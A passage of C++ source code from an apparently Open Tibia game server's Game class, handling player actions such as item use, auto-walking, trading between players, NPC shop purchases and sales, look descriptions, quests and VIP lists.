Game::playerCancelRuleViolation(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; return cancelRuleViolation(player); } bool Game::playerCloseNpcChannel(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; SpectatorVec list; SpectatorVec::iterator it; getSpectators(list, player->getPosition()); Npc* npc = NULL; for(it = list.begin(); it != list.end(); ++it) { if((npc = (*it)->getNpc())) npc->onPlayerCloseChannel(player); } return true; } bool Game::playerReceivePing(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->receivePing(); return true; } bool Game::playerAutoWalk(uint32_t playerId, std::list<Direction>& listDir) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->setIdleTime(0); if(player->hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_TELEPORT)) { Position pos = player->getPosition(); for(std::list<Direction>::iterator it = listDir.begin(); it != listDir.end(); ++it) pos = getNextPosition((*it), pos); pos = getClosestFreeTile(player, pos, true, false); if(!pos.x || !pos.y) { player->sendCancelWalk(); return false; } internalCreatureTurn(player, getDirectionTo(player->getPosition(), pos, false)); internalTeleport(player, pos, false); return true; } player->setNextWalkTask(NULL); return player->startAutoWalk(listDir); } bool Game::playerStopAutoWalk(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->stopWalk(); return true; } bool Game::playerUseItemEx(uint32_t playerId, const Position& fromPos, int16_t fromStackpos, uint16_t fromSpriteId, const Position& toPos, int16_t toStackpos, uint16_t toSpriteId, bool isHotkey) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(isHotkey && !g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED)) return false; Thing* thing = internalGetThing(player, fromPos, fromStackpos, fromSpriteId, STACKPOS_USEITEM); if(!thing) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } Item* item = thing->getItem(); if(!item || !item->isUseable()) { player->sendCancelMessage(RET_CANNOTUSETHISOBJECT); return false; } Position walkToPos = fromPos; ReturnValue ret = g_actions->canUse(player, fromPos); if(ret == RET_NOERROR) { ret = g_actions->canUse(player, toPos, item); if(ret == RET_TOOFARAWAY) walkToPos = toPos; } if(ret != RET_NOERROR) { if(ret == RET_TOOFARAWAY) { Position itemPos = fromPos; int16_t itemStackpos = fromStackpos; if(fromPos.x != 0xFFFF && toPos.x != 0xFFFF && Position::areInRange<1,1,0>(fromPos, player->getPosition()) && !Position::areInRange<1,1,0>(fromPos, toPos)) { Item* moveItem = NULL; ReturnValue retTmp = internalMoveItem(player, item->getParent(), player, INDEX_WHEREEVER, item, item->getItemCount(), &moveItem); if(retTmp != RET_NOERROR) { player->sendCancelMessage(retTmp); return false; } //changing the position since its now in the inventory of the player internalGetPosition(moveItem, itemPos, itemStackpos); } std::list<Direction> listDir; if(getPathToEx(player, walkToPos, listDir, 0, 1, true, true, 10)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseItemEx, this, playerId, itemPos, itemStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey)); player->setNextWalkActionTask(task); return true; } ret = RET_THEREISNOWAY; } player->sendCancelMessage(ret); return false; } if(isHotkey) showHotkeyUseMessage(player, item); if(!player->canDoAction()) { uint32_t delay = player->getNextActionTime(); SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseItemEx, this, playerId, fromPos, fromStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey)); player->setNextActionTask(task); return false; } player->setIdleTime(0); player->setNextActionTask(NULL); return g_actions->useItemEx(player, fromPos, toPos, toStackpos, item, isHotkey); } bool Game::playerUseItem(uint32_t playerId, const Position& pos, int16_t stackpos, uint8_t index, uint16_t spriteId, bool isHotkey) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(isHotkey && !g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED)) return false; Thing* thing = internalGetThing(player, pos, stackpos, spriteId, STACKPOS_USEITEM); if(!thing) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } Item* item = thing->getItem(); if(!item || item->isUseable()) { player->sendCancelMessage(RET_CANNOTUSETHISOBJECT); return false; } ReturnValue ret = g_actions->canUse(player, pos); if(ret != RET_NOERROR) { if(ret == RET_TOOFARAWAY) { std::list<Direction> listDir; if(getPathToEx(player, pos, listDir, 0, 1, true, true)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseItem, this, playerId, pos, stackpos, index, spriteId, isHotkey)); player->setNextWalkActionTask(task); return true; } ret = RET_THEREISNOWAY; } player->sendCancelMessage(ret); return false; } if(isHotkey) showHotkeyUseMessage(player, item); if(!player->canDoAction()) { uint32_t delay = player->getNextActionTime(); SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseItem, this, playerId, pos, stackpos, index, spriteId, isHotkey)); player->setNextActionTask(task); return false; } player->setIdleTime(0); player->setNextActionTask(NULL); return g_actions->useItem(player, pos, index, item); } bool Game::playerUseBattleWindow(uint32_t playerId, const Position& fromPos, int16_t fromStackpos, uint32_t creatureId, uint16_t spriteId, bool isHotkey) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Creature* creature = getCreatureByID(creatureId); if(!creature) return false; if(!Position::areInRange<7,5,0>(creature->getPosition(), player->getPosition())) return false; if(!g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED) && (creature->getPlayer() || isHotkey)) { player->sendCancelMessage(RET_DIRECTPLAYERSHOOT); return false; } Thing* thing = internalGetThing(player, fromPos, fromStackpos, spriteId, STACKPOS_USE); if(!thing) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } Item* item = thing->getItem(); if(!item || item->getClientID() != spriteId) { player->sendCancelMessage(RET_CANNOTUSETHISOBJECT); return false; } ReturnValue ret = g_actions->canUse(player, fromPos); if(ret != RET_NOERROR) { if(ret == RET_TOOFARAWAY) { std::list<Direction> listDir; if(getPathToEx(player, item->getPosition(), listDir, 0, 1, true, true)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseBattleWindow, this, playerId, fromPos, fromStackpos, creatureId, spriteId, isHotkey)); player->setNextWalkActionTask(task); return true; } ret = RET_THEREISNOWAY; } player->sendCancelMessage(ret); return false; } if(isHotkey) showHotkeyUseMessage(player, item); if(!player->canDoAction()) { uint32_t delay = player->getNextActionTime(); SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseBattleWindow, this, playerId, fromPos, fromStackpos, creatureId, spriteId, isHotkey)); player->setNextActionTask(task); return false; } player->setIdleTime(0); player->setNextActionTask(NULL); return g_actions->useItemEx(player, fromPos, creature->getPosition(), creature->getParent()->__getIndexOfThing(creature), item, isHotkey, creatureId); } bool Game::playerCloseContainer(uint32_t playerId, uint8_t cid) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->closeContainer(cid); player->sendCloseContainer(cid); return true; } bool Game::playerMoveUpContainer(uint32_t playerId, uint8_t cid) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Container* container = player->getContainer(cid); if(!container) return false; Container* parentContainer = dynamic_cast<Container*>(container->getParent()); if(!parentContainer) return false; player->addContainer(cid, parentContainer); player->sendContainer(cid, parentContainer, (dynamic_cast<const Container*>(parentContainer->getParent()) != NULL)); return true; } bool Game::playerUpdateTile(uint32_t playerId, const Position& pos) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(!player->canSee(pos)) return false; if(Tile* tile = getTile(pos)) player->sendUpdateTile(tile, pos); return true; } bool Game::playerUpdateContainer(uint32_t playerId, uint8_t cid) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Container* container = player->getContainer(cid); if(!container) return false; player->sendContainer(cid, container, (dynamic_cast<const Container*>(container->getParent()) != NULL)); return true; } bool Game::playerRotateItem(uint32_t playerId, const Position& pos, int16_t stackpos, const uint16_t spriteId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Thing* thing = internalGetThing(player, pos, stackpos); if(!thing) return false; Item* item = thing->getItem(); if(!item || item->getClientID() != spriteId || !item->isRoteable() || (item->isLoadedFromMap() && (item->getUniqueId() != 0 || (item->getActionId() != 0 && item->getContainer())))) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } if(pos.x != 0xFFFF && !Position::areInRange<1,1,0>(pos, player->getPosition())) { std::list<Direction> listDir; if(getPathToEx(player, pos, listDir, 0, 1, true, true)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerRotateItem, this, playerId, pos, stackpos, spriteId)); player->setNextWalkActionTask(task); return true; } player->sendCancelMessage(RET_THEREISNOWAY); return false; } uint16_t newId = Item::items[item->getID()].rotateTo; if(newId != 0) transformItem(item, newId); player->setIdleTime(0); return true; } bool Game::playerWriteItem(uint32_t playerId, uint32_t windowTextId, const std::string& text) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; uint16_t maxTextLength = 0; uint32_t internalWindowTextId = 0; Item* writeItem = player->getWriteItem(internalWindowTextId, maxTextLength); if(text.length() > maxTextLength || windowTextId != internalWindowTextId) return false; if(!writeItem || writeItem->isRemoved()) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } Cylinder* topParent = writeItem->getTopParent(); Player* owner = dynamic_cast<Player*>(topParent); if(owner && owner != player) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } if(!Position::areInRange<1,1,0>(writeItem->getPosition(), player->getPosition())) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } bool deny = false; CreatureEventList textEditEvents = player->getCreatureEvents(CREATURE_EVENT_TEXTEDIT); for(CreatureEventList::iterator it = textEditEvents.begin(); it != textEditEvents.end(); ++it) { if(!(*it)->executeTextEdit(player, writeItem, text)) deny = true; } if(deny) return false; if(!text.empty()) { if(writeItem->getText() != text) { writeItem->setText(text); writeItem->setWriter(player->getName()); writeItem->setDate(std::time(NULL)); } } else { writeItem->resetText(); writeItem->resetWriter(); writeItem->resetDate(); } uint16_t newId = Item::items[writeItem->getID()].writeOnceItemId; if(newId != 0) transformItem(writeItem, newId); player->setWriteItem(NULL); return true; } bool Game::playerUpdateHouseWindow(uint32_t playerId, uint8_t listId, uint32_t windowTextId, const std::string& text) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; uint32_t internalWindowTextId = 0; uint32_t internalListId = 0; House* house = player->getEditHouse(internalWindowTextId, internalListId); if(house && internalWindowTextId == windowTextId && listId == 0) { house->setAccessList(internalListId, text); player->setEditHouse(NULL); } return true; } bool Game::playerRequestTrade(uint32_t playerId, const Position& pos, int16_t stackpos, uint32_t tradePlayerId, uint16_t spriteId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Player* tradePartner = getPlayerByID(tradePlayerId); if(!tradePartner || tradePartner == player) { player->sendTextMessage(MSG_INFO_DESCR, "Sorry, not possible."); return false; } if(!Position::areInRange<2,2,0>(tradePartner->getPosition(), player->getPosition())) { std::stringstream ss; ss << tradePartner->getName() << " tells you to move closer."; player->sendTextMessage(MSG_INFO_DESCR, ss.str()); return false; } Item* tradeItem = dynamic_cast<Item*>(internalGetThing(player, pos, stackpos, spriteId, STACKPOS_USE)); if(!tradeItem || tradeItem->getClientID() != spriteId || !tradeItem->isPickupable() || (tradeItem->isLoadedFromMap() && (tradeItem->getUniqueId() != 0 || (tradeItem->getActionId() != 0 && tradeItem->getContainer())))) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } if(player->getPosition().z > tradeItem->getPosition().z) { player->sendCancelMessage(RET_FIRSTGOUPSTAIRS); return false; } if(player->getPosition().z < tradeItem->getPosition().z) { player->sendCancelMessage(RET_FIRSTGODOWNSTAIRS); return false; } if(!Position::areInRange<1,1,0>(tradeItem->getPosition(), player->getPosition())) { std::list<Direction> listDir; if(getPathToEx(player, pos, listDir, 0, 1, true, true)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerRequestTrade, this, playerId, pos, stackpos, tradePlayerId, spriteId)); player->setNextWalkActionTask(task); return true; } player->sendCancelMessage(RET_THEREISNOWAY); return false; } const Container* container = NULL; for(std::map<Item*, uint32_t>::const_iterator it = tradeItems.begin(); it != tradeItems.end(); it++) { if(tradeItem == it->first || ((container = dynamic_cast<const Container*>(tradeItem)) && container->isHoldingItem(it->first)) || ((container = dynamic_cast<const Container*>(it->first)) && container->isHoldingItem(tradeItem))) { player->sendTextMessage(MSG_INFO_DESCR, "This item is already being traded."); return false; } } Container* tradeContainer = tradeItem->getContainer(); if(tradeContainer && tradeContainer->getItemHoldingCount() + 1 > 100) { player->sendTextMessage(MSG_INFO_DESCR, "You cannot trade more than 100 items."); return false; } bool deny = false; CreatureEventList tradeEvents = player->getCreatureEvents(CREATURE_EVENT_TRADE_REQUEST); for(CreatureEventList::iterator it = tradeEvents.begin(); it != tradeEvents.end(); ++it) { if(!(*it)->executeTradeRequest(player, tradePartner, tradeItem)) deny = true; } if(deny) return false; return internalStartTrade(player, tradePartner, tradeItem); } bool Game::internalStartTrade(Player* player, Player* tradePartner, Item* tradeItem) { if(player->tradeState != TRADE_NONE && !(player->tradeState == TRADE_ACKNOWLEDGE && player->tradePartner == tradePartner)) { player->sendCancelMessage(RET_YOUAREALREADYTRADING); return false; } else if(tradePartner->tradeState != TRADE_NONE && tradePartner->tradePartner != player) { player->sendCancelMessage(RET_THISPLAYERISALREADYTRADING); return false; } player->tradePartner = tradePartner; player->tradeItem = tradeItem; player->tradeState = TRADE_INITIATED; tradeItem->addRef(); tradeItems[tradeItem] = player->getID(); player->sendTradeItemRequest(player, tradeItem, true); if(tradePartner->tradeState == TRADE_NONE) { char buffer[100]; sprintf(buffer, "%s wants to trade with you", player->getName().c_str()); tradePartner->sendTextMessage(MSG_INFO_DESCR, buffer); tradePartner->tradeState = TRADE_ACKNOWLEDGE; tradePartner->tradePartner = player; } else { Item* counterOfferItem = tradePartner->tradeItem; player->sendTradeItemRequest(tradePartner, counterOfferItem, false); tradePartner->sendTradeItemRequest(player, tradeItem, false); } return true; } bool Game::playerAcceptTrade(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(!(player->getTradeState() == TRADE_ACKNOWLEDGE || player->getTradeState() == TRADE_INITIATED)) return false; player->setTradeState(TRADE_ACCEPT); Player* tradePartner = player->tradePartner; if(!tradePartner || tradePartner->getTradeState() != TRADE_ACCEPT) return false; Item* tradeItem1 = player->tradeItem; Item* tradeItem2 = tradePartner->tradeItem; bool deny = false; CreatureEventList tradeEvents = player->getCreatureEvents(CREATURE_EVENT_TRADE_ACCEPT); for(CreatureEventList::iterator it = tradeEvents.begin(); it != tradeEvents.end(); ++it) { if(!(*it)->executeTradeAccept(player, tradePartner, tradeItem1, tradeItem2)) deny = true; } if(deny) return false; player->setTradeState(TRADE_TRANSFER); tradePartner->setTradeState(TRADE_TRANSFER); std::map<Item*, uint32_t>::iterator it = tradeItems.find(tradeItem1); if(it != tradeItems.end()) { freeThing(it->first); tradeItems.erase(it); } it = tradeItems.find(tradeItem2); if(it != tradeItems.end()) { freeThing(it->first); tradeItems.erase(it); } ReturnValue ret1 = internalAddItem(player, tradePartner, tradeItem1, INDEX_WHEREEVER, 0, true); ReturnValue ret2 = internalAddItem(tradePartner, player, tradeItem2, INDEX_WHEREEVER, 0, true); bool isSuccess = false; if(ret1 == RET_NOERROR && ret2 == RET_NOERROR) { ret1 = internalRemoveItem(tradePartner, tradeItem1, tradeItem1->getItemCount(), true); ret2 = internalRemoveItem(player, tradeItem2, tradeItem2->getItemCount(), true); if(ret1 == RET_NOERROR && ret2 == RET_NOERROR) { Cylinder* cylinder1 = tradeItem1->getParent(); Cylinder* cylinder2 = tradeItem2->getParent(); internalMoveItem(player, cylinder1, tradePartner, INDEX_WHEREEVER, tradeItem1, tradeItem1->getItemCount(), NULL); internalMoveItem(tradePartner, cylinder2, player, INDEX_WHEREEVER, tradeItem2, tradeItem2->getItemCount(), NULL); tradeItem1->onTradeEvent(ON_TRADE_TRANSFER, tradePartner, player); tradeItem2->onTradeEvent(ON_TRADE_TRANSFER, player, tradePartner); isSuccess = true; } } if(!isSuccess) { std::string errorDescription = getTradeErrorDescription(ret1, tradeItem1); tradePartner->sendTextMessage(MSG_INFO_DESCR, errorDescription); tradeItem2->onTradeEvent(ON_TRADE_CANCEL, tradePartner, NULL); errorDescription = getTradeErrorDescription(ret2, tradeItem2); player->sendTextMessage(MSG_INFO_DESCR, errorDescription); tradeItem1->onTradeEvent(ON_TRADE_CANCEL, player, NULL); } player->setTradeState(TRADE_NONE); player->tradeItem = NULL; player->tradePartner = NULL; player->sendTradeClose(); tradePartner->setTradeState(TRADE_NONE); tradePartner->tradeItem = NULL; tradePartner->tradePartner = NULL; tradePartner->sendTradeClose(); return isSuccess; } std::string Game::getTradeErrorDescription(ReturnValue ret, Item* item) { std::stringstream ss; if(ret == RET_NOTENOUGHCAPACITY) { ss << "You do not have enough capacity to carry"; if(item->isStackable() && item->getItemCount() > 1) ss << " these objects."; else ss << " this object." ; ss << std::endl << " " << item->getWeightDescription(); } else if(ret == RET_NOTENOUGHROOM || ret == RET_CONTAINERNOTENOUGHROOM) { ss << "You do not have enough room to carry"; if(item->isStackable() && item->getItemCount() > 1) ss << " these objects."; else ss << " this object."; } else ss << "Trade could not be completed."; return ss.str().c_str(); } bool Game::playerLookInTrade(uint32_t playerId, bool lookAtCounterOffer, int32_t index) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Player* tradePartner = player->tradePartner; if(!tradePartner) return false; Item* tradeItem = NULL; if(lookAtCounterOffer) tradeItem = tradePartner->getTradeItem(); else tradeItem = player->getTradeItem(); if(!tradeItem) return false; std::stringstream ss; ss << "You see "; int32_t lookDistance = std::max(std::abs(player->getPosition().x - tradeItem->getPosition().x), std::abs(player->getPosition().y - tradeItem->getPosition().y)); if(!index) { ss << tradeItem->getDescription(lookDistance); if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails)) { ss << std::endl << "ItemID: [" << tradeItem->getID() << "]"; if(tradeItem->getActionId() > 0) ss << ", ActionID: [" << tradeItem->getActionId() << "]"; if(tradeItem->getUniqueId() > 0) ss << ", UniqueID: [" << tradeItem->getUniqueId() << "]"; ss << "."; const ItemType& it = Item::items[tradeItem->getID()]; if(it.transformEquipTo) ss << std::endl << "TransformTo (onEquip): [" << it.transformEquipTo << "]"; else if(it.transformDeEquipTo) ss << std::endl << "TransformTo (onDeEquip): [" << it.transformDeEquipTo << "]"; else if(it.decayTo != -1) ss << std::endl << "DecayTo: [" << it.decayTo << "]"; } player->sendTextMessage(MSG_INFO_DESCR, ss.str()); return false; } Container* tradeContainer = tradeItem->getContainer(); if(!tradeContainer || index > (int32_t)tradeContainer->getItemHoldingCount()) return false; std::list<const Container*> listContainer; listContainer.push_back(tradeContainer); ItemList::const_iterator it; Container* tmpContainer = NULL; while(listContainer.size() > 0) { const Container* container = listContainer.front(); listContainer.pop_front(); for(it = container->getItems(); it != container->getEnd(); ++it) { if((tmpContainer = (*it)->getContainer())) listContainer.push_back(tmpContainer); --index; if(index != 0) continue; ss << (*it)->getDescription(lookDistance); if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails)) { ss << std::endl << "ItemID: [" << (*it)->getID() << "]"; if((*it)->getActionId() > 0) ss << ", ActionID: [" << (*it)->getActionId() << "]"; if((*it)->getUniqueId() > 0) ss << ", UniqueID: [" << (*it)->getUniqueId() << "]"; ss << "."; const ItemType& iit = Item::items[(*it)->getID()]; if(iit.transformEquipTo) ss << std::endl << "TransformTo: [" << iit.transformEquipTo << "] (onEquip)."; else if(iit.transformDeEquipTo) ss << std::endl << "TransformTo: [" << iit.transformDeEquipTo << "] (onDeEquip)."; else if(iit.decayTo != -1) ss << std::endl << "DecayTo: [" << iit.decayTo << "]."; } player->sendTextMessage(MSG_INFO_DESCR, ss.str()); return true; } } return false; } bool Game::playerCloseTrade(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; return internalCloseTrade(player); } bool Game::internalCloseTrade(Player* player) { Player* tradePartner = player->tradePartner; if((tradePartner && tradePartner->getTradeState() == TRADE_TRANSFER) || player->getTradeState() == TRADE_TRANSFER) { std::cout << "[Warning - Game::internalCloseTrade] TradeState == TRADE_TRANSFER, " << player->getName() << " " << player->getTradeState() << ", " << tradePartner->getName() << " " << tradePartner->getTradeState() << std::endl; return true; } std::vector<Item*>::iterator it; if(player->getTradeItem()) { std::map<Item*, uint32_t>::iterator it = tradeItems.find(player->getTradeItem()); if(it != tradeItems.end()) { freeThing(it->first); tradeItems.erase(it); } player->tradeItem->onTradeEvent(ON_TRADE_CANCEL, player, NULL); player->tradeItem = NULL; } player->setTradeState(TRADE_NONE); player->tradePartner = NULL; player->sendTextMessage(MSG_STATUS_SMALL, "Trade cancelled."); player->sendTradeClose(); if(tradePartner) { if(tradePartner->getTradeItem()) { std::map<Item*, uint32_t>::iterator it = tradeItems.find(tradePartner->getTradeItem()); if(it != tradeItems.end()) { freeThing(it->first); tradeItems.erase(it); } tradePartner->tradeItem->onTradeEvent(ON_TRADE_CANCEL, tradePartner, NULL); tradePartner->tradeItem = NULL; } tradePartner->setTradeState(TRADE_NONE); tradePartner->tradePartner = NULL; tradePartner->sendTextMessage(MSG_STATUS_SMALL, "Trade cancelled."); tradePartner->sendTradeClose(); } return true; } bool Game::playerPurchaseItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount, bool ignoreCap/* = false*/, bool inBackpacks/* = false*/) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; int32_t onBuy, onSell; Npc* merchant = player->getShopOwner(onBuy, onSell); if(!merchant) return false; const ItemType& it = Item::items.getItemIdByClientId(spriteId); if(!it.id) return false; uint8_t subType = count; if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t))) subType = reverseFluidMap[count]; if(!player->canShopItem(it.id, subType, SHOPEVENT_BUY)) return false; merchant->onPlayerTrade(player, SHOPEVENT_BUY, onBuy, it.id, subType, amount, ignoreCap, inBackpacks); return true; } bool Game::playerSellItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; int32_t onBuy, onSell; Npc* merchant = player->getShopOwner(onBuy, onSell); if(!merchant) return false; const ItemType& it = Item::items.getItemIdByClientId(spriteId); if(!it.id) return false; uint8_t subType = count; if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t))) subType = reverseFluidMap[count]; if(!player->canShopItem(it.id, subType, SHOPEVENT_SELL)) return false; merchant->onPlayerTrade(player, SHOPEVENT_SELL, onSell, it.id, subType, amount); return true; } bool Game::playerCloseShop(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(player == NULL || player->isRemoved()) return false; player->closeShopWindow(); return true; } bool Game::playerLookInShop(uint32_t playerId, uint16_t spriteId, uint8_t count) { Player* player = getPlayerByID(playerId); if(player == NULL || player->isRemoved()) return false; const ItemType& it = Item::items.getItemIdByClientId(spriteId); if(it.id == 0) return false; int32_t subType = count; if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t))) subType = reverseFluidMap[count]; std::stringstream ss; ss << "You see " << Item::getDescription(it, 1, NULL, subType); if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails)) ss << std::endl << "ItemID: [" << it.id << "]."; player->sendTextMessage(MSG_INFO_DESCR, ss.str()); return true; } bool Game::playerLookAt(uint32_t playerId, const Position& pos, uint16_t spriteId, int16_t stackpos) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Thing* thing = internalGetThing(player, pos, stackpos, spriteId, STACKPOS_LOOK); if(!thing) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } Position thingPos = pos; if(pos.x == 0xFFFF) thingPos = thing->getPosition(); if(!player->canSee(thingPos)) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } Position playerPos = player->getPosition(); int32_t lookDistance = -1; if(thing != player) { lookDistance = std::max(std::abs(playerPos.x - thingPos.x), std::abs(playerPos.y - thingPos.y)); if(playerPos.z != thingPos.z) lookDistance = lookDistance + 9 + 6; } bool deny = false; CreatureEventList lookEvents = player->getCreatureEvents(CREATURE_EVENT_LOOK); for(CreatureEventList::iterator it = lookEvents.begin(); it != lookEvents.end(); ++it) { if(!(*it)->executeLook(player, thing, thingPos, stackpos, lookDistance)) deny = true; } if(deny) return false; std::stringstream ss; ss << "You see " << thing->getDescription(lookDistance); if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails)) { if(Item* item = thing->getItem()) { ss << std::endl << "ItemID: [" << item->getID() << "]"; if(item->getActionId() > 0) ss << ", ActionID: [" << item->getActionId() << "]"; if(item->getUniqueId() > 0) ss << ", UniqueID: [" << item->getUniqueId() << "]"; ss << "."; const ItemType& it = Item::items[item->getID()]; if(it.transformEquipTo) ss << std::endl << "TransformTo: [" << it.transformEquipTo << "] (onEquip)."; else if(it.transformDeEquipTo) ss << std::endl << "TransformTo: [" << it.transformDeEquipTo << "] (onDeEquip)."; else if(it.decayTo != -1) ss << std::endl << "DecayTo: [" << it.decayTo << "]."; } } if(player->hasCustomFlag(PlayerCustomFlag_CanSeeCreatureDetails)) { if(const Creature* creature = thing->getCreature()) { ss << std::endl << "Health: [" << creature->getHealth() << " / " << creature->getMaxHealth() << "]"; if(creature->getMaxMana() > 0) ss << ", Mana: [" << creature->getMana() << " / " << creature->getMaxMana() << "]"; ss << "."; if(const Player* destPlayer = creature->getPlayer()) { ss << std::endl << "IP: " << convertIPAddress(destPlayer->getIP()) << ", Client: " << destPlayer->getClientVersion() << "."; if(destPlayer->isGhost()) ss << std::endl << "* Ghost mode *"; } } } if(player->hasCustomFlag(PlayerCustomFlag_CanSeePosition)) ss << std::endl << "Position: [X: " << thingPos.x << "] [Y: " << thingPos.y << "] [Z: " << thingPos.z << "]."; player->sendTextMessage(MSG_INFO_DESCR, ss.str()); return true; } bool Game::playerQuests(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->sendQuests(); return true; } bool Game::playerQuestInfo(uint32_t playerId, uint16_t questId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Quest* quest = Quests::getInstance()->getQuestById(questId); if(!quest) return false; player->sendQuestInfo(quest); return true; } bool Game::playerCancelAttackAndFollow(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; playerSetAttackedCreature(playerId, 0); playerFollowCreature(playerId, 0); player->stopWalk(); return true; } bool Game::playerSetAttackedCreature(uint32_t playerId, uint32_t creatureId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(player->getAttackedCreature() && !creatureId) { player->setAttackedCreature(NULL); player->sendCancelTarget(); return true; } Creature* attackCreature = getCreatureByID(creatureId); if(!attackCreature) { player->setAttackedCreature(NULL); player->sendCancelTarget(); return false; } ReturnValue ret = Combat::canTargetCreature(player, attackCreature); if(ret != RET_NOERROR) { player->sendCancelMessage(ret); player->sendCancelTarget(); player->setAttackedCreature(NULL); return false; } player->setAttackedCreature(attackCreature); return true; } bool Game::playerFollowCreature(uint32_t playerId, uint32_t creatureId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Creature* followCreature = NULL; if(creatureId) followCreature = getCreatureByID(creatureId); player->setAttackedCreature(NULL); return player->setFollowCreature(followCreature); } bool Game::playerSetFightModes(uint32_t playerId, fightMode_t fightMode, chaseMode_t chaseMode, secureMode_t secureMode) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->setFightMode(fightMode); player->setChaseMode(chaseMode); player->setSecureMode(secureMode); return true; } bool Game::playerRequestAddVip(uint32_t playerId, const std::string& vipName) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; uint32_t guid; bool specialVip; std::string name = vipName; if(!IOLoginData::getInstance()->getGuidByNameEx(guid, specialVip, name)) { player->sendTextMessage(MSG_STATUS_SMALL, "A player with that name does not exist."); return false; } if(specialVip && !player->hasFlag(PlayerFlag_SpecialVIP)) { player->sendTextMessage(MSG_STATUS_SMALL, "You cannot add this player."); return false; } bool online = false; if(Player* target = getPlayerByName(name)) online = player->canSeeCreature(target); return player->addVIP(guid, name, online); } bool Game::playerRequestRemoveVip(uint32_t playerId, uint32_t guid) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->removeVIP(guid); return true; } bool Game::playerTurn(uint32_t playerId, Direction dir) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(internalCreatureTurn(player, dir)) { player->setIdleTime(0); return true; } if(player->getDirection() != dir || !player->hasCustomFlag(PlayerCustomFlag_CanTurnhop)) return false; Position pos = getNextPosition(dir, player->getPosition()); Tile* tile = map->getTile(pos); if(!tile || !tile->ground) return false; player->setIdleTime(0); ReturnValue ret = tile->__queryAdd(0, player, 1, FLAG_IGNOREBLOCKITEM); if(ret != RET_NOTENOUGHROOM 